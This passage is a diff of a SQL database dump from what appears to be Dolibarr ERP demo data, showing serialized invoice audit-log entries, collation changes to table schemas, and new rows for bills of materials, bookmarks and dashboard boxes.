road\";s:4:\"town\";s:5:\"Delhi\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:12:\"PAY2212-0010\";s:4:\"date\";i:1670756400;s:9:\"type_code\";s:3:\"PRE\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:1:\"1\";s:10:\"thirdparty\";O:8:\"stdClass\":10:{s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";s:7:\"address\";s:13:\"1 alalah road\";s:4:\"town\";s:5:\"Delhi\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";}s:7:\"invoice\";O:8:\"stdClass\":7:{s:3:\"ref\";s:11:\"FS1301-0001\";s:8:\"total_ht\";s:10:\"5.00000000\";s:9:\"total_tva\";s:10:\"0.63000000\";s:9:\"total_ttc\";s:10:\"5.63000000\";s:4:\"date\";i:1642561200;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}}}s:6:\"amount\";i:1;}',12,1,0,'2023-02-06 09:18:07','Alice Adminson',''),(68,'2023-02-15 16:05:21','BILL_VALIDATE',12.00000000,'a8faeb7ba7b7d496f5d3a0c6f4c6840707d0ae86373de1cbc8483fc7a7b43adc','69a58fd1159e8073347ea84d3541ca4e202264560a54205f2acb078454909d43','facture',235,'FA2302-0030','2023-02-15 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:9:\"aaaincash\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00027\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2302-0030\";s:8:\"total_ht\";d:10;s:9:\"total_tva\";d:2;s:9:\"total_ttc\";d:12;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:11:\"10.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"12.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"10.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"12.00000000\";}}s:4:\"date\";i:1676430000;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-02-15 13:05:21','Alice Adminson',''),(69,'2023-02-15 16:17:31','BILL_VALIDATE',12.00000000,'cf5a48d07c06a60df091cc5c79b868eb1e63c603985d6e7024eef8946dd90ecd','57137dc67aef67356a7faad7c790ca9aaa27ede3102150ee5f88fbc09898b30a','facture',236,'FA2302-0031','2023-02-15 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":5:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:9:\"aaaincash\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:11:\"code_client\";s:12:\"CU2212-00027\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2302-0031\";s:8:\"total_ht\";d:10;s:9:\"total_tva\";d:2;s:9:\"total_ttc\";d:12;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":15:{s:8:\"total_ht\";s:11:\"10.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"12.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:6:\"20.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"10.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"12.00000000\";}}s:4:\"date\";i:1676430000;s:4:\"type\";s:1:\"0\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-02-15 13:17:31','Alice Adminson',''),(70,'2023-03-02 16:16:15','BILL_VALIDATE',50.00000000,'fcb02eb7c406eaeb482afe8bb787ab07ac8fb295f9c04c493a85a4a69d4396fc','f1aec099c035075873901b56b51522d4146da55eb0a8575ffc2b513fd05880cb','facture',237,'FA2303-0032','2023-03-02 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":10:{s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";s:7:\"address\";s:13:\"1 alalah road\";s:4:\"town\";s:5:\"Delhi\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2303-0032\";s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":16:{s:3:\"ref\";s:9:\"PINKDRESS\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";}}s:4:\"date\";i:1677726000;s:4:\"type\";s:1:\"5\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-03-02 13:16:15','Alice Adminson',''),(71,'2023-03-02 16:21:13','BILL_VALIDATE',30.00000000,'630820400241807e7e4c119e08e493aa340aeeafcf489601be8c23d6717089f2','6a5fd91483bd35789d9ba44dec661137921cb8f2b09521def9581235e86f6c1a','facture',238,'FA2303-0033','2023-03-02 00:00:00','O:8:\"stdClass\":10:{s:10:\"thirdparty\";O:8:\"stdClass\":10:{s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";s:7:\"address\";s:13:\"1 alalah road\";s:4:\"town\";s:5:\"Delhi\";s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_value\";s:5:\"0.000\";s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";}s:9:\"mycompany\";O:8:\"stdClass\":16:{s:12:\"country_code\";s:2:\"FR\";s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax2_assuj\";i:0;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";}s:3:\"ref\";s:11:\"FA2303-0033\";s:8:\"total_ht\";d:30;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:30;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":16:{s:3:\"ref\";s:9:\"PINKDRESS\";s:8:\"total_ht\";s:11:\"80.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"80.00000000\";s:12:\"product_type\";s:1:\"0\";s:3:\"qty\";s:1:\"1\";s:9:\"info_bits\";s:1:\"0\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"80.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"80.00000000\";}}s:4:\"date\";i:1677726000;s:4:\"type\";s:1:\"5\";s:12:\"revenuestamp\";s:10:\"0.00000000\";}',12,1,0,'2023-03-02 13:21:13','Alice Adminson',''); /*!40000 ALTER TABLE `llx_blockedlog` ENABLE KEYS */; UNLOCK TABLES; @@ -1316,8 +965,8 @@ DROP TABLE IF EXISTS `llx_blockedlog_authority`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_blockedlog_authority` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `blockchain` longtext COLLATE utf8mb3_unicode_ci NOT NULL, - `signature` varchar(100) COLLATE utf8mb3_unicode_ci NOT NULL, + `blockchain` longtext NOT NULL, + `signature` varchar(100) NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), KEY `signature` (`signature`) @@ -1343,11 +992,11 @@ DROP TABLE IF EXISTS `llx_bom_bom`; CREATE TABLE `llx_bom_bom` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) NOT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, `qty` double(24,8) DEFAULT NULL, `efficiency` double(8,4) DEFAULT 1.0000, @@ -1357,11 +1006,11 @@ CREATE TABLE `llx_bom_bom` ( `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) NOT NULL, `duration` double(24,8) DEFAULT NULL, `fk_warehouse` int(11) DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `bomtype` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_bom_bom_ref` (`ref`,`entity`), @@ -1371,7 +1020,7 @@ CREATE TABLE `llx_bom_bom` ( KEY `idx_bom_bom_status` (`status`), KEY `idx_bom_bom_fk_product` (`fk_product`), CONSTRAINT `llx_bom_bom_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1380,7 +1029,7 @@ CREATE TABLE `llx_bom_bom` ( LOCK TABLES `llx_bom_bom` WRITE; /*!40000 ALTER TABLE `llx_bom_bom` DISABLE KEYS */; -INSERT INTO `llx_bom_bom` VALUES (6,1,'BOM1911-0001','BOM For the Home Apple Pie',NULL,NULL,NULL,4,1.00000000,1.0000,'2019-11-28 18:17:12','2020-01-08 15:41:49','2020-01-08 19:41:49',12,12,12,NULL,1,NULL,NULL,'generic_bom_odt:/home/ldestailleur/git/dolibarr_11.0/documents/doctemplates/boms/template_bom.odt',0),(7,1,'BOM2202-0002','Recycling ABC',NULL,NULL,NULL,11,1.00000000,1.0000,'2022-02-07 13:53:32','2022-02-07 13:54:11','2022-02-07 13:54:11',12,NULL,12,NULL,1,NULL,NULL,NULL,1); +INSERT INTO `llx_bom_bom` VALUES (6,1,'BOM1911-0001','BOM For the Home Apple Pie',NULL,NULL,NULL,4,1.00000000,1.0000,'2019-11-28 18:17:12','2020-01-08 15:41:49','2020-01-08 19:41:49',12,12,12,NULL,1,NULL,NULL,'generic_bom_odt:/home/ldestailleur/git/dolibarr_11.0/documents/doctemplates/boms/template_bom.odt',0),(7,1,'BOM2202-0002','Recycling ABC',NULL,NULL,NULL,11,1.00000000,1.0000,'2022-02-07 13:53:32','2023-02-27 18:29:28','2022-02-07 13:54:11',12,NULL,12,NULL,0,NULL,NULL,NULL,1),(8,1,'(PROV8)','111',NULL,NULL,NULL,1,1.00000000,1.0000,'2023-01-31 15:26:51','2023-01-31 18:26:51',NULL,12,NULL,NULL,NULL,0,NULL,NULL,NULL,0); /*!40000 ALTER TABLE `llx_bom_bom` ENABLE KEYS */; UNLOCK TABLES; @@ -1395,7 +1044,7 @@ CREATE TABLE `llx_bom_bom_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_bom_bom_extrafields_fk_object` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -1422,19 +1071,20 @@ CREATE TABLE `llx_bom_bomline` ( `fk_bom` int(11) NOT NULL, `fk_product` int(11) NOT NULL, `fk_bom_child` int(11) DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `qty` double(24,8) NOT NULL, `efficiency` double(8,4) NOT NULL DEFAULT 1.0000, `position` int(11) NOT NULL, `qty_frozen` smallint(6) DEFAULT 0, `disable_stock_change` smallint(6) DEFAULT 0, + `fk_unit` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_bom_bomline_rowid` (`rowid`), KEY `idx_bom_bomline_fk_product` (`fk_product`), KEY `idx_bom_bomline_fk_bom` (`fk_bom`), CONSTRAINT `llx_bom_bomline_fk_bom` FOREIGN KEY (`fk_bom`) REFERENCES `llx_bom_bom` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1443,7 +1093,7 @@ CREATE TABLE `llx_bom_bomline` ( LOCK TABLES `llx_bom_bomline` WRITE; /*!40000 ALTER TABLE `llx_bom_bomline` DISABLE KEYS */; -INSERT INTO `llx_bom_bomline` VALUES (4,6,25,NULL,NULL,NULL,4.00000000,1.0000,1,0,0),(5,6,3,NULL,NULL,NULL,1.00000000,1.0000,3,0,1),(6,6,2,NULL,NULL,NULL,1.00000000,1.0000,2,1,0),(9,6,1,NULL,NULL,NULL,3.00000000,1.0000,0,0,0),(10,7,30,NULL,NULL,NULL,1.00000000,1.0000,2,0,0),(11,7,29,NULL,NULL,NULL,1.00000000,1.0000,4,0,0); +INSERT INTO `llx_bom_bomline` VALUES (4,6,25,NULL,NULL,NULL,4.00000000,1.0000,1,0,0,NULL),(5,6,3,NULL,NULL,NULL,1.00000000,1.0000,3,0,1,NULL),(6,6,2,NULL,NULL,NULL,1.00000000,1.0000,2,1,0,NULL),(9,6,1,NULL,NULL,NULL,3.00000000,1.0000,0,0,0,NULL),(10,7,30,NULL,NULL,NULL,1.00000000,1.0000,2,0,0,NULL),(11,7,29,NULL,NULL,NULL,1.00000000,1.0000,4,0,0,NULL),(12,8,12,NULL,NULL,NULL,1.00000000,1.0000,1,0,0,4),(13,8,5,NULL,NULL,NULL,1.00000000,1.0000,2,0,0,NULL); /*!40000 ALTER TABLE `llx_bom_bomline` ENABLE KEYS */; UNLOCK TABLES; @@ -1458,7 +1108,7 @@ CREATE TABLE `llx_bom_bomline_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -1483,15 +1133,15 @@ CREATE TABLE `llx_bookmark` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_user` int(11) NOT NULL, `dateb` datetime DEFAULT NULL, - `url` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `target` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `title` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `favicon` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `url` text DEFAULT NULL, + `target` varchar(16) DEFAULT NULL, + `title` varchar(64) DEFAULT NULL, + `favicon` varchar(24) DEFAULT NULL, `position` int(11) DEFAULT 0, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_bookmark_title` (`fk_user`,`entity`,`title`) -) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1500,7 +1150,7 @@ CREATE TABLE `llx_bookmark` ( LOCK TABLES `llx_bookmark` WRITE; /*!40000 ALTER TABLE `llx_bookmark` DISABLE KEYS */; -INSERT INTO `llx_bookmark` VALUES (1,0,'2012-07-09 01:29:03','https://wiki.dolibarr.org','1','Online documentation','none',1,1),(2,0,'2012-07-09 01:30:15','https://www.dolibarr.org','1','Official portal','none',2,1),(3,0,'2012-07-09 01:30:53','https://www.dolistore.com','1','DoliStore','none',10,1),(4,0,'2012-07-09 01:31:35','https://asso.dolibarr.org/index.php/Main_Page','1','The foundation','none',0,1),(5,0,'2016-03-02 16:40:41','https://www.facebook.com/dolibarr','1','Facebook page','none',50,1),(6,0,'2016-03-02 16:41:12','https://www.twitter.com/dolibarr','1','Twitter channel','none',60,1); +INSERT INTO `llx_bookmark` VALUES (1,3,'2012-07-09 01:29:03','https://wiki.dolibarr.org','1','Online documentation','none',1,1),(2,3,'2012-07-09 01:30:15','https://www.dolibarr.org','1','Official portal','none',2,1),(3,0,'2012-07-09 01:30:53','https://www.dolistore.com','1','DoliStore','none',10,1),(4,0,'2012-07-09 01:31:35','https://asso.dolibarr.org/index.php/Main_Page','1','The foundation','none',0,1),(5,0,'2016-03-02 16:40:41','https://www.facebook.com/dolibarr','1','Facebook page','none',50,1),(6,0,'2016-03-02 16:41:12','https://www.twitter.com/dolibarr','1','Twitter channel','none',60,1),(9,12,'2023-02-19 15:11:00','/dolibarr_17.0/htdocs/index.php?mainmenu=home&leftmenu=home','0','bbb','none',0,1); /*!40000 ALTER TABLE `llx_bookmark` ENABLE KEYS */; UNLOCK TABLES; @@ -1515,15 +1165,15 @@ CREATE TABLE `llx_bordereau_cheque` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `datec` datetime NOT NULL, `date_bordereau` date DEFAULT NULL, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `amount` double(24,8) NOT NULL, `nbcheque` smallint(6) NOT NULL, `fk_bank_account` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `statut` smallint(6) NOT NULL DEFAULT 0, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `uk_bordereau_cheque` (`ref`,`entity`) @@ -1552,16 +1202,16 @@ CREATE TABLE `llx_boxes` ( `entity` int(11) NOT NULL DEFAULT 1, `box_id` int(11) NOT NULL, `position` smallint(6) NOT NULL, - `box_order` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL, + `box_order` varchar(3) NOT NULL, `fk_user` int(11) NOT NULL DEFAULT 0, `maxline` int(11) DEFAULT NULL, - `params` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `params` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_boxes` (`entity`,`box_id`,`position`,`fk_user`), KEY `idx_boxes_boxid` (`box_id`), KEY `idx_boxes_fk_user` (`fk_user`), CONSTRAINT `fk_boxes_box_id` FOREIGN KEY (`box_id`) REFERENCES `llx_boxes_def` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=1468 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=1495 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1570,7 +1220,7 @@ CREATE TABLE `llx_boxes` ( LOCK TABLES `llx_boxes` WRITE; /*!40000 ALTER TABLE `llx_boxes` DISABLE KEYS */; -INSERT INTO `llx_boxes` VALUES (253,2,323,0,'0',0,NULL,NULL),(304,2,324,0,'0',0,NULL,NULL),(305,2,325,0,'0',0,NULL,NULL),(306,2,326,0,'0',0,NULL,NULL),(307,2,327,0,'0',0,NULL,NULL),(308,2,328,0,'0',0,NULL,NULL),(309,2,329,0,'0',0,NULL,NULL),(310,2,330,0,'0',0,NULL,NULL),(311,2,331,0,'0',0,NULL,NULL),(312,2,332,0,'0',0,NULL,NULL),(313,2,333,0,'0',0,NULL,NULL),(314,1,347,0,'A27',0,NULL,NULL),(315,1,348,0,'B20',0,NULL,NULL),(316,1,349,0,'B10',0,NULL,NULL),(317,1,350,0,'B18',0,NULL,NULL),(344,1,374,0,'B08',0,NULL,NULL),(347,1,377,0,'B16',0,NULL,NULL),(348,1,378,0,'B06',0,NULL,NULL),(358,1,388,0,'B38',0,NULL,NULL),(359,1,389,0,'A13',0,NULL,NULL),(360,1,390,0,'B36',0,NULL,NULL),(362,1,392,0,'A35',0,NULL,NULL),(363,1,393,0,'A11',0,NULL,NULL),(366,1,396,0,'B12',0,NULL,NULL),(387,1,403,0,'B22',0,NULL,NULL),(392,1,409,0,'A15',0,NULL,NULL),(393,1,410,0,'A33',0,NULL,NULL),(394,1,411,0,'A25',0,NULL,NULL),(395,1,412,0,'B30',0,NULL,NULL),(396,1,413,0,'A23',0,NULL,NULL),(397,1,414,0,'B28',0,NULL,NULL),(398,1,415,0,'A21',0,NULL,NULL),(399,1,416,0,'B26',0,NULL,NULL),(400,1,417,0,'A19',0,NULL,NULL),(401,1,418,0,'B24',0,NULL,NULL),(501,1,419,0,'A17',0,NULL,NULL),(1019,1,392,0,'A01',2,NULL,NULL),(1021,1,412,0,'A03',2,NULL,NULL),(1022,1,347,0,'A04',2,NULL,NULL),(1023,1,393,0,'A05',2,NULL,NULL),(1025,1,389,0,'A07',2,NULL,NULL),(1026,1,416,0,'A08',2,NULL,NULL),(1027,1,396,0,'B01',2,NULL,NULL),(1028,1,377,0,'B02',2,NULL,NULL),(1031,1,419,0,'B05',2,NULL,NULL),(1036,1,424,0,'A29',0,NULL,NULL),(1037,1,425,0,'B32',0,NULL,NULL),(1038,1,426,0,'B34',0,NULL,NULL),(1150,1,430,0,'A37',0,NULL,NULL),(1152,1,429,0,'A01',1,NULL,NULL),(1153,1,429,0,'B01',2,NULL,NULL),(1154,1,429,0,'A01',11,NULL,NULL),(1156,1,429,0,'A07',0,NULL,NULL),(1183,1,433,0,'A09',0,NULL,NULL),(1235,1,404,0,'B01',1,NULL,NULL),(1236,1,404,0,'B01',2,NULL,NULL),(1237,1,404,0,'B01',11,NULL,NULL),(1239,1,404,0,'A31',0,NULL,NULL),(1407,1,412,0,'A01',12,NULL,NULL),(1408,1,378,0,'A02',12,NULL,NULL),(1409,1,404,0,'A03',12,NULL,NULL),(1410,1,377,0,'A04',12,NULL,NULL),(1411,1,392,0,'B01',12,NULL,NULL),(1412,1,